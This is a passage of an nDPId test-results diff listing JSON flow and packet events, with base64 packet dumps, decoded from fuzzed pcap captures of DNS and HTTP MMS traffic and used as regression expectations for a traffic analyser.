+00467{"flow_id":248,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":677,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471078,"pkt_ts_usec":365594,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIbGEAAIARSvDAqAECwKgBAQsNADUANFmE0DMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00428{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":678,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471080,"pkt_ts_usec":368465,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABFAABjbGIAAIARSu\/AqAECwKgBAQsNADUANFmE0DMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3muZXJjaXR5AmRrAAAhAAE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":678,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":679,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":249,"flow_packet_id":1,"flow_first_seen":1120471082371,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.54.2","dst_ip":"192.168.1.1","src_port":2829,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":249,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":679,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471082,"pkt_ts_usec":371572,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIbGMAAIARSu7AqDYCwKgBAQsNADUANFmE0DMBAAABAAAAAAAABF9zaXAEX3VkcCVzAHAJY2liZXJjaXR5AmRrAAAhAAE="} +00664{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":679,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":249,"flow_packet_id":1,"flow_first_seen":1120471082371,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.54.2","dst_ip":"192.168.1.1","src_port":2829,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":28681,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":680,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":250,"flow_packet_id":1,"flow_first_seen":1120471084097,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2830,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":250,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":680,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471084,"pkt_ts_usec":97511,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"ADBUADQ1AODtAW69CABFAAA+bGQAAIARSvfAqAECwKgBAQsOADUAKohoTTQBAAABAAAAAAAAA3NpcAljeWJlcmNpdHkCZGsAQQEAAQ=="} +00651{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":680,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":250,"flow_packet_id":1,"flow_first_seen":1120471084097,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2830,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":16641,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00454{"flow_id":250,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":681,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471085,"pkt_ts_usec":95290,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"JDBUADRWAODtAW69CABFAAA+bGUAAIARSvbAqAECwKgBAQsOADUAKohoTTUBAAABAAAAAAAAA3NpcAljeWJlcmNpdHkCZGsAAAEAAQ=="} +00667{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":681,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":250,"flow_packet_id":2,"flow_first_seen":1120471084097,"flow_last_seen":1120471085095,"flow_tot_l4_data_len":84,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2830,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":682,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":251,"flow_packet_id":1,"flow_first_seen":1120471086377,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"116.168.1.2","dst_ip":"192.168.1.1","src_port":2829,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":251,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":682,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471086,"pkt_ts_usec":377122,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIbGYAAIARSut0qAECwKgBAQsNADUANFmE0DMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":682,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":251,"flow_packet_id":1,"flow_first_seen":1120471086377,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"116.168.1.2","dst_ip":"192.168.1.1","src_port":2829,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00454{"flow_id":250,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":683,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471087,"pkt_ts_usec":98234,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"ADBUADRWAODtAW69CABFAAA+bGcAAIARSvTAqAECwKgBAQsOADUAKohoTTUBAAABAAAAAAAAA3NpcAljeWJlcmNpdHkCZGsAAAEAAQ=="} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":684,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":251,"flow_packet_id":1,"flow_first_seen":1120471086377,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"116.168.1.2","dst_ip":"192.168.1.1","src_port":2829,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":684,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":164,"flow_packet_id":4,"flow_first_seen":1120470474627,"flow_last_seen":1120470482638,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2789,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":684,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":249,"flow_packet_id":1,"flow_first_seen":1120471082371,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.54.2","dst_ip":"192.168.1.1","src_port":2829,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00525{"flow_id":250,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":684,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471088,"pkt_ts_usec":463377,"pkt_caplen":128,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":128,"pkt_l4_len":94,"pkt":"AODtAW69ADBUADRWCABFAAByAABAAEARtyfAqAEBwKgBAgA1Cw4AXmA7TTWBgAABAAEAAgAAA3NpcAljeWJlcmNpdHkCZGsAAAEAAcAMAAEAAQAAAVUABNTyISPAEAAmAgEAAAEsAAYDbnMxwBDAEAACAAEAAAEsAAYDbnMywBA="} +00674{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":684,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":250,"flow_packet_id":4,"flow_first_seen":1120471084097,"flow_last_seen":1120471088463,"flow_tot_l4_data_len":220,"flow_min_l4_data_len":42,"flow_max_l4_data_len":94,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2830,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"sip.cybercity.dk","num_queries":1,"num_answers":3,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"212.242.33.35"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":687,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":252,"flow_packet_id":1,"flow_first_seen":1120471094410,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2831,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":252,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":687,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471094,"pkt_ts_usec":410518,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW5TCABFAABEbGgAAIARSu3AqAECwKgBAQsPADUAMMF5YzYAAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":687,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":252,"flow_packet_id":1,"flow_first_seen":1120471094410,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2831,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00493{"flow_id":252,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":688,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471094,"pkt_ts_usec":412050,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKgBAgA1Cw8AR6P1dTaAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00676{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":688,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":252,"flow_packet_id":2,"flow_first_seen":1120471094410,"flow_last_seen":1120471094412,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2831,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":12,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00427{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":690,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471106,"pkt_ts_usec":433431,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABFAABIbG4A3oARSuPAqAECwKgBAQsQJXMANDd+8jYBAFEBAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":690,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":691,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":253,"flow_packet_id":1,"flow_first_seen":1120471107427,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2832,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":253,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":691,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120471107,"pkt_ts_usec":427770,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIbJIAAIARSuLAqAECwKgBAQsQADUANDd+8jYBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":691,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":253,"flow_packet_id":1,"flow_first_seen":1120471107427,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2832,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} diff --git a/test/results/fuzz-2006-09-29-28586.pcap.out b/test/results/fuzz-2006-09-29-28586.pcap.out new file mode 100644 index 000000000..b09141647 --- /dev/null +++ b/test/results/fuzz-2006-09-29-28586.pcap.out @@ -0,0 +1,251 @@ +00391{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854484,"pkt_ts_usec":481540,"pkt_caplen":60,"pkt_type":2304,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"CAAgsl17AFCLk5N8CQBFAAAo8EpAAIAGrEqsFAMFrBQDDQooAFDkFf3+yWv\/bVARIal6iQAABIGD1GDD"} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","type":2304} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1031854484481,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":80,"dst_port":2600,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854484,"pkt_ts_usec":481558,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxKVAAEAGF\/CsFAMNrBQDBQBQCijJa\/9t5BX9\/1AQgywZBgAA"} +00422{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854484,"pkt_ts_usec":481933,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxKZAAEAGF++sFAMNrBQDBQBQCijJa\/9t5BX9\/1ARgywZBQAA"} +00430{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854484,"pkt_ts_usec":482142,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAo8UpAAIAGq0qsFAMFrBQDDQooAFDkFf3\/yWv\/blAQIal6iAAABIGD1GDD"} +00390{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854488,"pkt_ts_usec":666650,"pkt_caplen":60,"pkt_type":2246,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"CAAgsl17AFCLk5J8CMZFAAAs9EpAAIAGqEasFAMFrBQDDQopAFDkS6qJAAAAACUCMACAnQAAuAQFtGBh"} +00170{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":5,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","type":2246} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1031854488666,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":80,"dst_port":2601,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854488,"pkt_ts_usec":666676,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"AFCLk5N8CAAgsl17CABFAAAsxKdAAEAGF+qsFAMNrBQDBQBQCinJpw1U5EuqimASgyxGZAAAAgQFtA=="} +00429{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854488,"pkt_ts_usec":666851,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAo9UpAAIAGp0qsFAMFrBQDDQopAFDkS6qKyacNVVAQIji\/FQAAAgQFtGDD"} +02374{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854488,"pkt_ts_usec":667479,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"CAAgsl17AFCLk5N8CABFAAXc9kpAAIAGoJasFAMFrBQDDQopAFDkS6qKyacNVVAQIjheTQAAUE9TVCAvc2VydmxldHMvbW1zIEhUVFAvMS4xDQpIb3N8OiAxNzIuMjAuMy4xMw0KT3B0OiDQaHR0cDovL3d3dy53My5vcmdtMTk5OS8wNi8yNC1DQ1BQZXhjaGFuZ2UiOyBucz01Ng0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi92bmQud2FwLm1tcy1tZXNzYWdlDQpBY2NlcHQ6IGFwcGxpY2F0aW9uL3ZuZC53YXAubW1zLW1lc3NhZ2UNCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuDQpVc2VyLUFnZW50OiBTb255RXJpY3Nzb25UNjgvUjIwMUENCkFjY2VwdC1DaGFyc2V0OiAqDQo1Ni1Qcm9maWxlLURpZmYtMTowPD94bWwgdmVyc2lvbj0iMS4wIj8+PHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3Lnd2Lm9yZy8xOTk5LzAyL6qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00536{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":8,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":3,"flow_first_seen":1031854488666,"flow_last_seen":1031854488667,"flow_tot_l4_data_len":1524,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":508,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":80,"dst_port":2601,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} 